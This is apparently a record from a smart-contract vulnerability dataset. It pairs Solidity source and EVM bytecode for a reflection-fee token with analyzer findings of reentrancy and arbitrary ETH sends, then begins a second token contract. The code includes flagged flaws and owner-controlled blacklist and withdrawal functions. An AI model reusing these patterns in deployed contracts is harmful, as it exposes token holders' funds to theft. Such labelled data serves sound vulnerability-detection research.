uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c2d0ffca1161006f578063c2d0ffca1461041b578063c3c8cd8014610444578063cc653b441461045b578063dd62ed3e14610498578063e8078d94146104d5578063ff872602146104ec5761014b565b80638da5cb5b1461031f57806395d89b411461034a5780639e78fb4f14610375578063a9059cbb1461038c578063b515566a146103c9578063bc337182146103f25761014b565b8063313ce56711610108578063313ce567146102495780635932ead1146102745780636fc3eaec1461029d57806370a08231146102b4578063715018a6146102f15780638a8c523c146103085761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610503565b60405161017291906127c5565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d919061288f565b610540565b6040516101af91906128ea565b60405180910390f35b3480156101c457600080fd5b506101cd61055e565b6040516101da9190612914565b60405180910390f35b3480156101ef57600080fd5b5061020a6004803603810190610205919061292f565b61056e565b60405161021791906128ea565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612982565b610647565b005b34801561025557600080fd5b5061025e6106a2565b60405161026b91906129cb565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190612a12565b6106ab565b005b3480156102a957600080fd5b506102b261075d565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612982565b6107cf565b6040516102e89190612914565b60405180910390f35b3480156102fd57600080fd5b50610306610820565b005b34801561031457600080fd5b5061031d610973565b005b34801561032b57600080fd5b50610334610a25565b6040516103419190612a4e565b60405180910390f35b34801561035657600080fd5b5061035f610a4e565b60405161036c91906127c5565b60405180910390f35b34801561038157600080fd5b5061038a610a8b565b005b34801561039857600080fd5b506103b360048036038101906103ae919061288f565b610c02565b6040516103c091906128ea565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190612bb1565b610c20565b005b3480156103fe57600080fd5b5061041960048036038101906104149190612bfa565b610cb5565b005b34801561042757600080fd5b50610442600480360381019061043d9190612bfa565b610d54565b005b34801561045057600080fd5b50610459610df3565b005b34801561046757600080fd5b50610482600480360381019061047d9190612982565b610e6d565b60405161048f9190612914565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612c27565b610eb6565b6040516104cc9190612914565b60405180910390f35b3480156104e157600080fd5b506104ea610f3d565b005b3480156104f857600080fd5b50610501611387565b005b60606040518060400160405280600a81526020017f4d537061636520494e5500000000000000000000000000000000000000000000815250905090565b600061055461054d611427565b848461142f565b6001905092915050565b60006702c68af0bb140000905090565b600061057b8484846115fa565b61063c84610587611427565b6106378560405180606001604052806028815260200161369160289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ed611427565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c689092919063ffffffff16565b61142f565b600190509392505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106b3611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610740576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073790612cb3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079e611427565b73ffffffffffffffffffffffffffffffffffffffff16146107be57600080fd5b60004790506107cc81611ccc565b50565b6000610819600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d38565b9050919050565b610828611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ac90612cb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61097b611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612cb3565b60405180910390fd5b6001600f60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d5370616365494e550000000000000000000000000000000000000000000000815250905090565b610a93611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1790612cb3565b60405180910390fd5b600f60149054906101000a900460ff1615610b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6790612d1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bff30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166702c68af0bb14000061142f565b50565b6000610c16610c0f611427565b84846115fa565b6001905092915050565b60005b8151811015610cb157600160076000848481518110610c4557610c44612d3f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca990612d9d565b915050610c23565b5050565b610cbd611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4190612cb3565b60405180910390fd5b8060108190555050565b610d5c611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090612cb3565b60405180910390fd5b8060108190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e34611427565b73ffffffffffffffffffffffffffffffffffffffff1614610e5457600080fd5b6000610e5f306107cf565b9050610e6a81611da6565b50565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f45611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc990612cb3565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561103f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110639190612dfb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111109190612dfb565b6040518363ffffffff1660e01b815260040161112d929190612e28565b6020604051808303816000875af115801561114c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111709190612dfb565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111f9306107cf565b600080611204610a25565b426040518863ffffffff1660e01b815260040161122696959493929190612e96565b60606040518083038185885af1158015611244573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112699190612f0c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611341929190612f5f565b6020604051808303816000875af1158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190612f9d565b50565b61138f611427565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461141c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141390612cb3565b60405180910390fd5b600954601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561149f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114969061303c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561150f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611506906130ce565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ed9190612914565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561166a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166190613160565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d1906131f2565b60405180910390fd5b6000811161171d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171490613284565b60405180910390fd5b6117268361201f565b6117f6576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141580156117c6575042613840600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c391906132a4565b10155b156117e057600d600b81905550601c600c819055506117f1565b600d600b81905550600d600c819055505b611894565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156118835742600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600d600b81905550600d600c819055505b61189c610a25565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561190a57506118da610a25565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5857600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119b35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119bc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a675750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abd5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ad55750600f60179054906101000a900460ff165b15611b9e57600f60149054906101000a900460ff16611af357600080fd5b601054811115611b0257600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b4d57600080fd5b601e42611b5a91906132a4565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ba9306107cf565b9050600f60159054906101000a900460ff16158015611c165750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c2e5750600f60169054906101000a900460ff165b15611c5657611c3c81611da6565b60004790506000811115611c5457611c5347611ccc565b5b505b505b611c63838383612079565b505050565b6000838311158290611cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca791906127c5565b60405180910390fd5b5060008385611cbf91906132fa565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d34573d6000803e3d6000fd5b5050565b6000600954821115611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d76906133a0565b60405180910390fd5b6000611d89612089565b9050611d9e81846120b490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dde57611ddd612a6e565b5b604051908082528060200260200182016040528015611e0c5781602001602082028036833780820191505090505b5090503081600081518110611e2457611e23612d3f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eef9190612dfb565b81600181518110611f0357611f02612d3f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fce95949392919061347e565b600060405180830381600087803b158015611fe857600080fd5b505af1158015611ffc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6120848383836120fe565b505050565b60008060006120966122c9565b915091506120ad81836120b490919063ffffffff16565b9250505090565b60006120f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612328565b905092915050565b6000806000806000806121108761238b565b95509550955095509550955061216e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061220385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224f8161249b565b6122598483612558565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122b69190612914565b60405180910390a3505050505050505050565b6000806000600954905060006702c68af0bb14000090506122fd6702c68af0bb1400006009546120b490919063ffffffff16565b82101561231b576009546702c68af0bb140000935093505050612324565b81819350935050505b9091565b6000808311829061236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236691906127c5565b60405180910390fd5b506000838561237e9190613507565b9050809150509392505050565b60008060008060008060008060006123a88a600b54600c54612592565b92509250925060006123b8612089565b905060008060006123cb8e878787612628565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061243583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c68565b905092915050565b600080828461244c91906132a4565b905083811015612491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248890613584565b60405180910390fd5b8091505092915050565b60006124a5612089565b905060006124bc82846126b190919063ffffffff16565b905061251081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61256d826009546123f390919063ffffffff16565b60098190555061258881600a5461243d90919063ffffffff16565b600a819055505050565b6000806000806125be60646125b0888a6126b190919063ffffffff16565b6120b490919063ffffffff16565b905060006125e860646125da888b6126b190919063ffffffff16565b6120b490919063ffffffff16565b9050600061261182612603858c6123f390919063ffffffff16565b6123f390919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061264185896126b190919063ffffffff16565b9050600061265886896126b190919063ffffffff16565b9050600061266f87896126b190919063ffffffff16565b905060006126988261268a85876123f390919063ffffffff16565b6123f390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156126c45760009050612726565b600082846126d291906135a4565b90508284826126e19190613507565b14612721576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271890613670565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561276657808201518184015260208101905061274b565b83811115612775576000848401525b50505050565b6000601f19601f8301169050919050565b60006127978261272c565b6127a18185612737565b93506127b1818560208601612748565b6127ba8161277b565b840191505092915050565b600060208201905081810360008301526127df818461278c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612826826127fb565b9050919050565b6128368161281b565b811461284157600080fd5b50565b6000813590506128538161282d565b92915050565b6000819050919050565b61286c81612859565b811461287757600080fd5b50565b60008135905061288981612863565b92915050565b600080604083850312156128a6576128a56127f1565b5b60006128b485828601612844565b92505060206128c58582860161287a565b9150509250929050565b60008115159050919050565b6128e4816128cf565b82525050565b60006020820190506128ff60008301846128db565b92915050565b61290e81612859565b82525050565b60006020820190506129296000830184612905565b92915050565b600080600060608486031215612948576129476127f1565b5b600061295686828701612844565b935050602061296786828701612844565b92505060406129788682870161287a565b9150509250925092565b600060208284031215612998576129976127f1565b5b60006129a684828501612844565b91505092915050565b600060ff82169050919050565b6129c5816129af565b82525050565b60006020820190506129e060008301846129bc565b92915050565b6129ef816128cf565b81146129fa57600080fd5b50565b600081359050612a0c816129e6565b92915050565b600060208284031215612a2857612a276127f1565b5b6000612a36848285016129fd565b91505092915050565b612a488161281b565b82525050565b6000602082019050612a636000830184612a3f565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612aa68261277b565b810181811067ffffffffffffffff82111715612ac557612ac4612a6e565b5b80604052505050565b6000612ad86127e7565b9050612ae48282612a9d565b919050565b600067ffffffffffffffff821115612b0457612b03612a6e565b5b602082029050602081019050919050565b600080fd5b6000612b2d612b2884612ae9565b612ace565b90508083825260208201905060208402830185811115612b5057612b4f612b15565b5b835b81811015612b795780612b658882612844565b845260208401935050602081019050612b52565b5050509392505050565b600082601f830112612b9857612b97612a69565b5b8135612ba8848260208601612b1a565b91505092915050565b600060208284031215612bc757612bc66127f1565b5b600082013567ffffffffffffffff811115612be557612be46127f6565b5b612bf184828501612b83565b91505092915050565b600060208284031215612c1057612c0f6127f1565b5b6000612c1e8482850161287a565b91505092915050565b60008060408385031215612c3e57612c3d6127f1565b5b6000612c4c85828601612844565b9250506020612c5d85828601612844565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c9d602083612737565b9150612ca882612c67565b602082019050919050565b60006020820190508181036000830152612ccc81612c90565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d09601783612737565b9150612d1482612cd3565b602082019050919050565b60006020820190508181036000830152612d3881612cfc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612da882612859565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ddb57612dda612d6e565b5b600182019050919050565b600081519050612df58161282d565b92915050565b600060208284031215612e1157612e106127f1565b5b6000612e1f84828501612de6565b91505092915050565b6000604082019050612e3d6000830185612a3f565b612e4a6020830184612a3f565b9392505050565b6000819050919050565b6000819050919050565b6000612e80612e7b612e7684612e51565b612e5b565b612859565b9050919050565b612e9081612e65565b82525050565b600060c082019050612eab6000830189612a3f565b612eb86020830188612905565b612ec56040830187612e87565b612ed26060830186612e87565b612edf6080830185612a3f565b612eec60a0830184612905565b979650505050505050565b600081519050612f0681612863565b92915050565b600080600060608486031215612f2557612f246127f1565b5b6000612f3386828701612ef7565b9350506020612f4486828701612ef7565b9250506040612f5586828701612ef7565b9150509250925092565b6000604082019050612f746000830185612a3f565b612f816020830184612905565b9392505050565b600081519050612f97816129e6565b92915050565b600060208284031215612fb357612fb26127f1565b5b6000612fc184828501612f88565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613026602483612737565b915061303182612fca565b604082019050919050565b6000602082019050818103600083015261305581613019565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130b8602283612737565b91506130c38261305c565b604082019050919050565b600060208201905081810360008301526130e7816130ab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061314a602583612737565b9150613155826130ee565b604082019050919050565b600060208201905081810360008301526131798161313d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131dc602383612737565b91506131e782613180565b604082019050919050565b6000602082019050818103600083015261320b816131cf565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061326e602983612737565b915061327982613212565b604082019050919050565b6000602082019050818103600083015261329d81613261565b9050919050565b60006132af82612859565b91506132ba83612859565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132ef576132ee612d6e565b5b828201905092915050565b600061330582612859565b915061331083612859565b92508282101561332357613322612d6e565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061338a602a83612737565b91506133958261332e565b604082019050919050565b600060208201905081810360008301526133b98161337d565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133f58161281b565b82525050565b600061340783836133ec565b60208301905092915050565b6000602082019050919050565b600061342b826133c0565b61343581856133cb565b9350613440836133dc565b8060005b8381101561347157815161345888826133fb565b975061346383613413565b925050600181019050613444565b5085935050505092915050565b600060a0820190506134936000830188612905565b6134a06020830187612e87565b81810360408301526134b28186613420565b90506134c16060830185612a3f565b6134ce6080830184612905565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061351282612859565b915061351d83612859565b92508261352d5761352c6134d8565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061356e601b83612737565b915061357982613538565b602082019050919050565b6000602082019050818103600083015261359d81613561565b9050919050565b60006135af82612859565b91506135ba83612859565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135f3576135f2612d6e565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061365a602183612737565b9150613665826135fe565b604082019050919050565b600060208201905081810360008301526136898161364d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010fb33806d9dc8a770885c0bcf3cf67c55f6354413a7c5424bce2fee37c96d3e64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,187
0x0c0a918e7740f265384092edc7d0d0ebdcf1ca07
pragma solidity ^0.4.21; contract Owned { /// &#39;owner&#39; is the only address that can call a function with /// this modifier address public owner; address internal newOwner; ///@notice The constructor assigns the message sender to be &#39;owner&#39; function Owned() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } event updateOwner(address _oldOwner, address _newOwner); ///change the owner function changeOwner(address _newOwner) public onlyOwner returns(bool) { require(owner != _newOwner); newOwner = _newOwner; return true; } /// accept the ownership function acceptNewOwner() public returns(bool) { require(msg.sender == newOwner); emit updateOwner(owner, newOwner); owner = newOwner; return true; } } contract SafeMath { function safeMul(uint a, uint b) pure internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) pure internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) pure internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract ERC20Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// user tokens mapping (address => uint256) public balances; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant public returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param 